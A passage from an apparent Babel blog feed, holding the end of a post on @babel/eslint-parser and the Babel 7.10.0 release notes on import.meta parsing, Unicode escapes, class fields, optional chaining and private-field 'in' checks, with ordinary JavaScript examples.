<p>Our short-term goal in making the changes outlined above is to make it easier for <code>@babel/eslint-parser</code> to maintain and to make linting Babel-compiled code with ESLint easier and more reliable. We would love your help in this endeavor! Contributions on <a href="https://github.com/babel/babel" target="_blank" rel="noopener noreferrer">GitHub</a> and <a href="https://opencollective.com/babel" target="_blank" rel="noopener noreferrer">financial donations</a> go a long way in helping us make this integration the best it can be for the community.</p>]]></content>
        <author>
            <name>Kai Cataldo</name>
            <uri>https://kaicataldo.com</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[7.10.0 Released: Class Fields in preset-env, '#private in' checks and better React tree-shaking]]></title>
        <id>https://babeljs.io/blog/2020/05/25/7.10.0</id>
        <link href="https://babeljs.io/blog/2020/05/25/7.10.0"/>
        <updated>2020-05-25T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[We just released a new minor version of Babel!]]></summary>
        <content type="html"><![CDATA[<p>We just released a new minor version of Babel!</p>
<p>This 7.10 release includes:</p>
<ul>
<li>Full support for the new Stage 1 proposal, <code>#prop in obj</code> checks for private fields <a href="https://github.com/tc39/proposal-private-fields-in-in" target="_blank" rel="noopener noreferrer">proposal</a>.</li>
<li><code>@babel/preset-env</code> now compiles ES2015-style Unicode escapes (<code>\u{Babe1}</code>) to the equivalent legacy syntax (<code>\uDAAA\uDFE1</code>).</li>
<li>Two improvements to the <a href="https://github.com/tc39/proposal-optional-chaining" target="_blank" rel="noopener noreferrer">Optional Chaining</a> operator (<code>?.</code>)</li>
<li>Parser support for the new Stage 1 <a href="https://github.com/tc39/proposal-module-attributes" target="_blank" rel="noopener noreferrer">Module Attributes proposal</a> (<code>import a from "./a.json" with type: "json"</code>).</li>
<li>Better tree-shaking support for React code (i.e. <code>React.memo</code>)!</li>
<li>Setting up <a href="https://github.com/babel/rfcs" target="_blank" rel="noopener noreferrer">RFCs</a> repo and <a href="https://github.com/babel/babel/discussions" target="_blank" rel="noopener noreferrer">GitHub Discussions</a> pages!</li>
</ul>
<p>You can read the whole changelog <a href="https://github.com/babel/babel/releases/tag/v7.10.0" target="_blank" rel="noopener noreferrer">on GitHub</a>.</p>
<p>Alongside this Babel release, we are releasing the first experimental version of our new <a href="https://github.com/babel/babel-polyfills" target="_blank" rel="noopener noreferrer">polyfills compatibility architecture</a> (see below for more details), thanks to <a href="https://twitter.com/NicoloRibaudo" target="_blank" rel="noopener noreferrer">Nicolò</a> and some awesome folks in the community! We began discussions about this over a year ago in a <a href="https://github.com/babel/babel/issues/10008" target="_blank" rel="noopener noreferrer">RFC issue</a> within the Babel repository.</p>
<p>As an aside, we now have an official RFC process for discussing changes that significantly impact our users: please check it out over in the <a href="https://github.com/babel/rfcs" target="_blank" rel="noopener noreferrer"><code>babel/rfcs</code></a> repository! In addition, we've enabled <a href="https://github.com/babel/babel/discussions" target="_blank" rel="noopener noreferrer">GitHub Discussions</a> on our repository if you have feedback or questions!</p>
<p>If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our <a href="https://opencollective.com/babel" target="_blank" rel="noopener noreferrer">Open Collective</a> and, better yet, work with us on the implementation of <a href="https://github.com/babel/proposals" target="_blank" rel="noopener noreferrer">new ECMAScript proposals</a> directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at <a href="mailto:team@babeljs.io" target="_blank" rel="noopener noreferrer">team@babeljs.io</a> if you'd like to discuss more!</p>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="new-features-enabled-by-default">New features enabled by default<a href="https://babeljs.io/blog/2020/05/25/7.10.0#new-features-enabled-by-default" class="hash-link" aria-label="Direct link to New features enabled by default" title="Direct link to New features enabled by default">​</a></h2>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="parsing-for-importmeta">Parsing for <code>import.meta</code><a href="https://babeljs.io/blog/2020/05/25/7.10.0#parsing-for-importmeta" class="hash-link" aria-label="Direct link to parsing-for-importmeta" title="Direct link to parsing-for-importmeta">​</a></h3>
<p>Now that it has reached Stage 4, <em>parsing</em> for <a href="https://github.com/tc39/proposal-import-meta" target="_blank" rel="noopener noreferrer"><code>import.meta</code></a> is enabled by default, thanks to <a href="https://github.com/kik-o" target="_blank" rel="noopener noreferrer">Kiko</a>. Please note that <code>@babel/preset-env</code> doesn't have any default support for <em>transforming</em> it, because what that object contains is up to the engine and is not defined in the ECMAScript specification.</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token console class-name" style="color:#eab700">console</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">log</span><span class="token punctuation">(</span><span class="token keyword module" style="color:#8959a8">import</span><span class="token punctuation">.</span><span class="token property-access">meta</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// { url: "file:///home/user/my-module.js" }</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="transforming-x200bu-style-unicode-escapes-11377">Transforming <code>&amp;#x200B;u{...}</code>-style Unicode escapes (<a href="https://github.com/babel/babel/pull/11377" target="_blank" rel="noopener noreferrer">#11377</a>)<a href="https://babeljs.io/blog/2020/05/25/7.10.0#transforming-x200bu-style-unicode-escapes-11377" class="hash-link" aria-label="Direct link to transforming-x200bu-style-unicode-escapes-11377" title="Direct link to transforming-x200bu-style-unicode-escapes-11377">​</a></h3>
<p>We also discovered that we didn't have support for compiling a 5-year-old ECMAScript feature: <code>\u{...}</code>-style Unicode escapes! Thanks to <a href="https://github.com/jridgewell" target="_blank" rel="noopener noreferrer">Justin</a>, <code>@babel/preset-env</code> can now compile them in strings and identifiers by default.</p>
<blockquote>
<p><a href="https://codesandbox.io/embed/beautiful-sammet-msuiw?fontsize=18&amp;hidenavigation=1&amp;theme=dark&amp;view=preview" target="_blank" rel="noopener noreferrer">Example on CodeSandbox</a></p>
</blockquote>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">var</span><span class="token plain"> \u</span><span class="token punctuation">{</span><span class="token plain">1d49c</span><span class="token punctuation">}</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"\u{Babe1}"</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token console class-name" style="color:#eab700">console</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">log</span><span class="token punctuation">(</span><span class="token plain">\u</span><span class="token punctuation">{</span><span class="token plain">1d49c</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">var</span><span class="token plain"> _ud835_udc9c </span><span class="token operator">=</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"\uDAAA\uDFE1"</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token console class-name" style="color:#eab700">console</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">log</span><span class="token punctuation">(</span><span class="token plain">_ud835_udc9c</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="class-properties-and-private-methods-to-shippedproposals-option-of-babelpreset-env-11451">Class Properties and Private Methods to <code>shippedProposals</code> option of <code>@babel/preset-env</code> (<a href="https://github.com/babel/babel/pull/11451" target="_blank" rel="noopener noreferrer">#11451</a>)<a href="https://babeljs.io/blog/2020/05/25/7.10.0#class-properties-and-private-methods-to-shippedproposals-option-of-babelpreset-env-11451" class="hash-link" aria-label="Direct link to class-properties-and-private-methods-to-shippedproposals-option-of-babelpreset-env-11451" title="Direct link to class-properties-and-private-methods-to-shippedproposals-option-of-babelpreset-env-11451">​</a></h3>
<p>Lastly, thanks to <a href="https://github.com/JLHwung" target="_blank" rel="noopener noreferrer">Jùnliàng</a> we have added <code>@babel/plugin-proposal-class-properties</code> and <code>@babel/plugin-proposal-private-methods</code> to the <a href="https://babeljs.io/docs/en/babel-preset-env#shippedproposals" target="_blank" rel="noopener noreferrer"><code>shippedProposals</code></a> option of <code>@babel/preset-env</code>. These proposals are not Stage 4 (i.e. part of the ECMAScript standard) yet, but they are already enabled by default in <a href="https://github.com/tc39/proposal-class-fields#implementations" target="_blank" rel="noopener noreferrer">many JavaScript engines</a>.</p>
<p>If you aren't familiar:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">class</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Bork</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token comment" style="color:#8e908c">// Public Fields</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  instanceProperty </span><span class="token operator">=</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"bork"</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">static</span><span class="token plain"> staticProperty </span><span class="token operator">=</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"babelIsCool"</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token comment" style="color:#8e908c">// Private Fields</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  #xValue </span><span class="token operator">=</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">0</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token function" style="color:#4271ae">a</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword" style="color:#8959a8">this</span><span class="token punctuation">.</span><span class="token property-access">#xValue</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token comment" style="color:#8e908c">// Private methods</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">get</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">#x</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> </span><span class="token keyword control-flow" style="color:#8959a8">return</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">this</span><span class="token punctuation">.</span><span class="token property-access">#xValue</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">set</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">#x</span><span class="token punctuation">(</span><span class="token parameter" style="color:#f5871f">value</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword" style="color:#8959a8">this</span><span class="token punctuation">.</span><span class="token property-access">#xValue</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> value</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token function" style="color:#4271ae">#clicked</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword" style="color:#8959a8">this</span><span class="token punctuation">.</span><span class="token property-access">#x</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>If you missed it from the last release, in 7.9 we added a new <a href="https://babeljs.io/blog/2020/03/16/7.9.0#babel-preset-env-s-bugfixes-option-11083-https-githubcom-babel-babel-pull-11083" target="_blank" rel="noopener noreferrer">option</a>: <code>"bugfixes": true</code> which can greatly reduce your code output.</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token string-property property">"presets"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">[</span><span class="token string" style="color:#718c00">"@babel/preset-env"</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token string-property property">"targets"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> </span><span class="token string-property property">"esmodules"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token boolean" style="color:#f5871f">true</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// Use the targets that you was already using</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token string-property property">"bugfixes"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token boolean" style="color:#f5871f">true</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// will be default in Babel 8</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">}</span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="improved-optional-chaining--ergonomics-10961-11248">Improved optional chaining <code>?.</code> ergonomics (<a href="https://github.com/babel/babel/pull/10961" target="_blank" rel="noopener noreferrer">#10961</a>, <a href="https://github.com/babel/babel/pull/11248" target="_blank" rel="noopener noreferrer">#11248</a>)<a href="https://babeljs.io/blog/2020/05/25/7.10.0#improved-optional-chaining--ergonomics-10961-11248" class="hash-link" aria-label="Direct link to improved-optional-chaining--ergonomics-10961-11248" title="Direct link to improved-optional-chaining--ergonomics-10961-11248">​</a></h2>
<p>In <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-3-9/" target="_blank" rel="noopener noreferrer">TypeScript 3.9</a>, the interaction between non-null assertions (postfix <code>!</code>) and optional chaining <a href="https://www.typescriptlang.org/docs/handbook/release-notes/typescript-3-9.html#parsing-differences-in-optional-chaining-and-non-null-assertions" target="_blank" rel="noopener noreferrer">has been changed</a> to make it more useful.</p>
<div class="language-ts codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-ts codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">foo</span><span class="token operator">?.</span><span class="token plain">bar</span><span class="token operator">!</span><span class="token punctuation">.</span><span class="token plain">baz</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>In TypeScript 3.8 and Babel 7.9, the above would be read as <code>(foo?.bar)!.baz</code>: "If <code>foo</code> is not nullish, get <code>.bar</code> from it. Then trust that <code>foo?.bar</code> is never nullish and always get <code>.bar</code> from it". This means that when <code>foo</code> is nullish that code would always throw, because we are trying to get <code>.baz</code> from <code>undefined</code>.</p>
<p>In TypeScript 3.9 and Babel 7.10, the code behaves similarly to <code>foo?.bar.baz</code>: "If <code>foo</code> is not nullish, get <code>.bar.baz</code> from it and trust me that <code>foo?.bar</code> isn't nullish". Thanks to <a href="https://github.com/macabeus" target="_blank" rel="noopener noreferrer">Bruno</a> for helping to implement this!</p>
<hr>
<p>Additionally, the class fields proposal <a href="https://github.com/tc39/proposal-class-fields/pull/301" target="_blank" rel="noopener noreferrer">recently added support</a> for mixing optional chaining <code>?.</code> with private fields. This means that the following code is now valid:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">obj</span><span class="token operator">?.</span><span class="token plain">property</span><span class="token punctuation">.</span><span class="token property-access">#priv</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">obj</span><span class="token operator">?.</span><span class="token plain">#priv</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>Note that in the second example, if <code>obj</code> is not nullish and does not have the <code>#priv</code> field, it would still throw an error (exactly as <code>obj.#priv</code> would throw). You can read the next section to see how to avoid it!</p>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="private-fields-in-in-11372">Private Fields in <code>in</code> (<a href="https://github.com/babel/babel/pull/11372" target="_blank" rel="noopener noreferrer">#11372</a>)<a href="https://babeljs.io/blog/2020/05/25/7.10.0#private-fields-in-in-11372" class="hash-link" aria-label="Direct link to private-fields-in-in-11372" title="Direct link to private-fields-in-in-11372">​</a></h2>
<blockquote>
<p><a href="https://i12c7.csb.app/" target="_blank" rel="noopener noreferrer">Example on CodeSandbox</a></p>
</blockquote>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">class</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Person</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  #name</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token function" style="color:#4271ae">hug</span><span class="token punctuation">(</span><span class="token parameter" style="color:#f5871f">other</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">#name </span><span class="token keyword" style="color:#8959a8">in</span><span class="token plain"> other</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token console class-name" style="color:#eab700">console</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">log</span><span class="token punctuation">(</span><span class="token template-string template-punctuation string" style="color:#718c00">`</span><span class="token template-string interpolation interpolation-punctuation punctuation">${</span><span class="token template-string interpolation keyword" style="color:#8959a8">this</span><span class="token template-string interpolation punctuation">.</span><span class="token template-string interpolation property-access">#name</span><span class="token template-string interpolation interpolation-punctuation punctuation">}</span><span class="token template-string string" style="color:#718c00"> 🤗 </span><span class="token template-string interpolation interpolation-punctuation punctuation">${</span><span class="token template-string interpolation">other</span><span class="token template-string interpolation punctuation">.</span><span class="token template-string interpolation property-access">#name</span><span class="token template-string interpolation interpolation-punctuation punctuation">}</span><span class="token template-string template-punctuation string" style="color:#718c00">`</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#8959a8">else</span><span class="token plain"> </span><span class="token console class-name" style="color:#eab700">console</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">log</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"It's not a person!"</span><span class="token punctuation">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>This Stage 1 proposal allows you to statically check if a given object has a specific private field.</p>
<p>Private fields have a built-in "brand check": if you try to access them in an object where they aren't defined, it will throw an exception. You can determine if an object has a particular private field by leveraging this behavior with a <code>try</code>/<code>catch</code> statement, but this proposal gives us a more compact and robust syntax to do so.</p>
<p>You can read more about it in the <a href="https://github.com/tc39/proposal-private-fields-in-in/blob/master/README.md" target="_blank" rel="noopener noreferrer">proposal's description</a> and test this proposal by installing the <code>@babel/plugin-proposal-private-property-in-object</code> plugin and adding it to your Babel config. Thanks to <a href="https://github.com/jridgewell" target="_blank" rel="noopener noreferrer">Justin</a> for the PR!</p>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="module-attributes-parser-support-10962">Module Attributes parser support (<a href="https://github.com/babel/babel/pull/10962" target="_blank" rel="noopener noreferrer">#10962</a>)<a href="https://babeljs.io/blog/2020/05/25/7.10.0#module-attributes-parser-support-10962" class="hash-link" aria-label="Direct link to module-attributes-parser-support-10962" title="Direct link to module-attributes-parser-support-10962">​</a></h2>
<p>The Modules Attributes proposal (Stage 1) allows providing the engine, module loader or bundler some additional information about the imported file. For example, you could explicitly specify that it should be parsed as JSON:</p>
